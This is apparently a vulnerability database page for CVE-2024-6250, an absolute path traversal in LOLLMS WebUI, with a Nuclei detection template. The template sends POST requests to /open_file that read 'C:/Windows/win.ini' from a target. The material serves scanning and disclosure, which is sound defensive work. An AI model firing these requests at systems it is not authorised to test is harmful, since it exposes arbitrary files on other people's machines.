SecurityContext

CVE-2024-6250: LOLLMS WebUI - Absolute Path Traversal

  • Template: CVE-2024-6250
  • Name: LOLLMS WebUI - Absolute Path Traversal
  • Description: An absolute path traversal vulnerability exists in parisneo/lollms-webui v9.6, specifically in the open_file endpoint of lollms_advanced.py. The sanitize_path function with allow_absolute_path=True allows an attacker to access arbitrary files and directories on a Windows system. This vulnerability can be exploited to read any file and list arbitrary directories on the affected system.
  • Impact: Attackers can read arbitrary files and list directories, leading to information disclosure and potential further exploitation.
  • Remediation: Update to the latest version where the vulnerability is fixed or modify the `sanitize_path` function to disallow absolute paths.
  • Severity: high
  • Authors: ritikchaddha
  • Tags: cve, cve2024, lollms, lfi, traversal, ai, vkev, vuln
  • References: https://huntr.com/bounties/11a8bf9d-16f3-49b3-b5fc-ad36d8993c73, https://nvd.nist.gov/vuln/detail/CVE-2024-6250, https://github.com/parisneo/lollms-webui
  • Cves: CVE-2024-6250
  • Max requests: 2
  • Directory: http/cves
  • Path: http/cves/2024/CVE-2024-6250.yaml
  • Digest: 4a0a0047304502204e85e8cc1c11138fddd20ce2cae19929a045d49c0ed6fb21cb975f50a8f57084022100de08a88858b9bc0d537c7457b87446c03096b0f6a79e9ead53bce121d9784a0f
  • Created at: 2026-01-29T08:20:02Z
  • Updated at: 2026-11-24T02:03:42Z
  • Age in days: 299
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-6250.yaml
  • Checked, none or zero: verified

Classification

  • Cwe: CWE-36
  • Cvss score: 7.5
  • Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Epss score: 0.01941
  • Epss percentile: 0.80683
  • Not known: cpe

Metadata

  • Max-request: 2
  • Product: lollms_web_ui
  • Vendor: lollms
  • Checked, none or zero: verified

Products

ProductIndexedUrl
lollms:lollms_web_uiyes/v1/products/lollms/lollms_web_ui

Labels

  • Name: parisneo lollms-webui - Path Traversal
  • Impact: Attackers can read arbitrary files and list directories, leading to information disclosure and potential further exploitation.
  • Remediation: Update to the latest version where the vulnerability is fixed or modify the `sanitize_path` function to disallow absolute paths.
  • Vulnerability type: path_traversal
  • Vulnerability impact: file_system_read, information_disclosure
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2024-6250
  • Not known: requirements

```yaml

id: CVE-2024-6250

info:

name: LOLLMS WebUI - Absolute Path Traversal

author: ritikchaddha

severity: high

description: |

An absolute path traversal vulnerability exists in parisneo/lollms-webui v9.6, specifically in the open_file endpoint of lollms_advanced.py. The sanitize_path function with allow_absolute_path=True allows an attacker to access arbitrary files and directories on a Windows system. This vulnerability can be exploited to read any file and list arbitrary directories on the affected system.

impact: |

Attackers can read arbitrary files and list directories, leading to information disclosure and potential further exploitation.

remediation: |

Update to the latest version where the vulnerability is fixed or modify the `sanitize_path` function to disallow absolute paths.

reference:

- https://huntr.com/bounties/11a8bf9d-16f3-49b3-b5fc-ad36d8993c73

- https://nvd.nist.gov/vuln/detail/CVE-2024-6250

- https://github.com/parisneo/lollms-webui

classification:

cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

cvss-score: 7.5

cve-id: CVE-2024-6250

epss-score: 0.01941

epss-percentile: 0.80683

cwe-id: CWE-36

metadata:

verified: false

max-request: 2

vendor: lollms

product: lollms_web_ui

tags: cve,cve2024,lollms,lfi,traversal,ai,vkev,vuln

http:

- raw:

- |

POST /open_file HTTP/1.1

Host: {{Hostname}}

{"path": "C:/Windows/win.ini"}

- |

POST /api/open_file HTTP/1.1

Host: {{Hostname}}

{"path": "C:/Windows/win.ini"}

stop-at-first-match: true

matchers:

- type: dsl

dsl:

- 'contains_all(body, "bit app support", "[fonts]", "[extensions]")'

- 'contains(content_type, "text/plain")'

- "status_code == 200"

condition: and

digest: 4a0a0047304502204e85e8cc1c11138fddd20ce2cae19929a045d49c0ed6fb21cb975f50a8f57084022100de08a88858b9bc0d537c7457b87446c03096b0f6a79e9ead53bce121d9784a0f:922c64590222798bb761d5b6d8e72950

```